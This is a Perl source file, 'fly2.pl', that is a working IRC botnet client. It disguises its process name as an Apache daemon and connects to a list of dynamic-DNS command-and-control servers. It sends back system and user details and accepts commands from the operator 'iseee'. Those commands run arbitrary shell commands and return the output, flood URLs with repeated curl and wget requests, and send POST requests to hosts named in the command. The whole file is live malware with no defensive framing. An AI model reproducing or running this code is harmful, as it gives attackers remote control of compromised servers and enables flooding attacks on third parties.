fly2.pl

use IO::Socket::INET;
my $processo = "/usr/local/apache/bin/httpds";
my $pid=fork;
exit if $pid;
$0="$processo"." "x16;
my @sops =("localhost","jboss.dyndns.biz","webstats.twilightparadox.com","weztatso.dyndns-remote.com","jasuyeifd.dyndns.info","chillbill.twilightparadox.com","cents.dyndns-web.com","its".time()."s.dyndns.info",);
my $port=2020*4;
my $chan="#jb";
my $boxing = `uname -a`;
$user = `whoami`;
$boxing =~ s/\r//g;
$boxing =~ s/\n//g;
$boxing =~ s/ //g;
$boxing =~ s/\s//g;
$user =~ s/\r//g;
$user =~ s/\n//g;
$user =~ s/ //g;
$user =~ s/\s//g;
while(1) {
  my $nick="fly[".int(rand(999999999))."]";
  retry: close($sk);
  my $server = "";
  while(length($server)<10) {
    $server = $sops[int(rand(9))];
  }
  sleep(3);
  my $sk = IO::Socket::INET->new(PeerAddr=>$server,PeerPort=>$port,Proto=>"tcp") or goto retry;
  $sk->autoflush(1);
  print $sk "POST /index.php HTTP/1.1\r\nHost: $server:$port\r\nUser-Agent: Mozilla/5.0\r\nContent-Length: 385256291721361\r\n\r\nfile1=MZ%90%0a%0d\r\n";
  print $sk "NICK $nick\r\n";
  print $sk "USER ".$user." 8 *  : ".$user."\r\n";
  while($line = <$sk>) {
    $line =~ s/\r\n$//;
    if ($line=~ /^PING \:(.*)/) {
      print $sk "PONG :$1\r\n";
    }
    if($line =~ /welcome\sto/i) {
      sleep(2);      print $sk "JOIN $chan\r\n";
      sleep(1);
      print $sk "PRIVMSG $chan :UserName=$boxing\r\n";
    }
    if ($line =~ /PRIVMSG (.*) :.rsh\s"(.*)"/) {
      $owner=$line;
      $de=$2;
      if($owner=~/iseee/gi) {
        @shell=`$de`;
        foreach $line (@shell) {
          sendsk($sk, "PRIVMSG iseee :$line\r\n");
          sleep(1);
        }
      }
    }
    if ($line=~ /PRIVMSG (.*) :.get\s"(.*)"\s"(.*)"/) {
      $owner=$line;
      $url=$2;
      $mult=$3;
      if($owner=~/iseee/gi) {
        $url=~/http:\/\/(.*)\/(.*)/g;
        for($xz=0;$xz<=$mult;$xz++) {
          system("curl ".$url.">/dev/null&");
          `curl "$url">/dev/null&`;
          system("wget ".$url.">/dev/null&");
          `wget "$url">/dev/null&`;
          system("wget $url>/dev/null&");
        }
        sendsk($sk, "PRIVMSG iseee :Got $host/$path - $mult times\r\n");
      }
    }
    if ($line=~ /PRIVMSG (.*) :.post\s"(.*)"\s"(.*)"/) {
      $owner=$line;
      $url=$2;
      $ddata=$3;
      if($owner=~/iseee/gi) {
        $url=~/http:\/\/(.*)\/(.*)/g;
        $host=$1;
        $path=$2;
        my $sck=new IO::Socket::INET(PeerAddr=>$host, PeerPort=>80);
        print $sck  "POST /$path HTTP/1.0\r\n".     "Host: $host\r\n".    "Connection: close\r\n".    "Content-Length: ".length($ddata)."\r\n\r\n".$ddata;
        sleep(1);
        close($sck);
        sendsk($sk, "PRIVMSG (.*) :Posted $host/$path - $mult\r\n");
      }
    }
  }
}
sub sendsk() {
  if ($#_ == 1) {
    my $sk = $_[0];
    print $sk "$_[1]\n";
  }
  else
  {
    print $sk "$_[0]\n";
  }
}